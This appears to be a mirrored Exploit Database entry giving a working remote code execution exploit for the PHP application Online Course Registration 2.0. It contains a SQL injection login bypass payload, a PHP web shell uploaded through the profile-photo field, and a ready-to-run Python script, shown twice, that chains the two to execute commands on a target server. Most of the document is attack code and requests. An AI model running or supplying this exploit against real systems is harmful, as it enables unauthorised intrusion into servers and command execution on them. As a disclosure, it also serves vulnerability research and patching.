Online Course Registration 2.0 – Remote Code Execution

• Exploit Database
• 39 阅读

• 作者： Metin Yunus Kandemir
  日期： 2020-01-03
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/47843/

• # Exploit Title: Online Course Registration 2.0 - Remote Code Execution
  # Exploit Author: Metin Yunus Kandemir
  # Vendor Homepage: https://phpgurukul.com/
  # Software Link: https://phpgurukul.com/online-course-registration-free-download/
  # Version: v2.0
  # Category: Webapps
  # Tested on: Xampp for Windows
  
  # Description:
  Attacker can bypass login page and access to student change password dashboard.
  
  PoC Request (Authentication Bypass):
  
  POST /onlinecourse/index.php HTTP/1.1
  Host: target
  
  regno=joke' or '1'='1'#&password=joke' or '1'='1'#&submit=
  
  
  There isn't any file extension control in student panel "My Profile" section.
  An unauthorized user can upload php file as profile image.
  
  First PoC Request (RCE):
  
  POST /onlinecourse/my-profile.php HTTP/1.1
  Host: target
  
  -----------------------------16046344889164047791563222514
  Content-Disposition: form-data; name="photo"; filename="simple.php"
  Content-Type: application/x-php
  
  <?php $cmd=$_GET["cmd"]; echo `$cmd`; ?>
  
  
  Second PoC Request (RCE):
  
  GET /onlinecourse/studentphoto/simple.php?cmd=ipconfig HTTP/1.1
  Host: target
  
  
  Below basic python script will bypass authentication and execute command on target server.
  
  
  
  
  
  import requests
  import sys
  
  if (len(sys.argv) !=3) or sys.argv[1] == "-h":
  print "[*] Usage: PoC.py rhost/rpath "
  print "[*] e.g.: PoC.py 127.0.0.1/onlinecourse "
  exit(0)
  
  rhost = sys.argv[1]
  command = sys.argv[2]
  
  
  
  url = "http://"+rhost+"/index.php"
  data = {"regno": "joke' or '1'='1'#", "password": "joke' or '1'='1'#", "submit": ""}
  
  with requests.Session() as session:
  #bypass authentication
  lg = login = session.post(url, data=data, headers = {"Content-Type": "application/x-www-form-urlencoded"})
  
  #check authentication bypass
  check = session.get("http://"+rhost+"/my-profile.php", allow_redirects=False)
  if check.status_code == 200:
  print "[+] Authentication bypass was successfull"
  else:
  print "[-] Authentication bypass was unsuccessful"
  sys.exit()
  
  #upload simple php file
  
  files = {'photo':('command.php', '<?php system($_GET["cmd"]); ?>')}
  fdata = {"studentname": "Test", "studentregno": "10806157", "Pincode": "715989", "cgpa": "0.00", "photo": "command.php", "submit": ""}
  furl = "http://"+rhost+"/my-profile.php"
  session.post(url=furl, files= files, data=fdata)
  
  #execution
  final=session.get("http://"+rhost+"/studentphoto/command.php?cmd="+command)
  
  #check execution
  if final.status_code == 200:
  print "[+] Command execution completed successfully."
  print "\tPut on a happy face!\n"
  else:
  print "[-] Command execution was unsuccessful."
  sys.exit()
  
  print final.text
  
  online-course-registration-rce.png
  
  poc.py
  
  import requests
  import sys 
  
  if (len(sys.argv) !=3) or sys.argv[1] == "-h":
  	print "[*] Usage: PoC.py rhost/rpath "
  	print "[*] e.g.: PoC.py 127.0.0.1/onlinecourse "
  	exit(0) 
  
  rhost = sys.argv[1]
  command = sys.argv[2]
  
  
  
  url = "http://"+rhost+"/index.php"
  data = {"regno": "joke' or '1'='1'#", "password": "joke' or '1'='1'#", "submit": ""}
  
  with requests.Session() as session:
  	#bypass authentication
  	lg = login = session.post(url, data=data, headers = {"Content-Type": "application/x-www-form-urlencoded"})
  	
  	#check authentication bypass
  	check = session.get("http://"+rhost+"/my-profile.php", allow_redirects=False)
  	if check.status_code == 200:
  		print "[+] Authentication bypass was successfull"
  	else:
  		print "[-] Authentication bypass was unsuccessful"
  		sys.exit()	 
  
  	#upload simple php file
  
  	files = {'photo':('command.php', '<?php system($_GET["cmd"]); ?>')}
  	fdata = {"studentname": "Test", "studentregno": "10806157", "Pincode": "715989", "cgpa": "0.00", "photo": "command.php", "submit": ""}
  	furl = "http://"+rhost+"/my-profile.php"
  	session.post(url=furl, files= files, data=fdata)
  	
  	#execution
  	final=session.get("http://"+rhost+"/studentphoto/command.php?cmd="+command)
  
  	#check execution
  	if final.status_code == 200:
  		print "[+] Command execution completed successfully.\n"
  		print "\tPut on a happy face!\n"
  	else:
  		print "[-] Command execution was unsuccessful."
  		sys.exit()
  
  	print final.text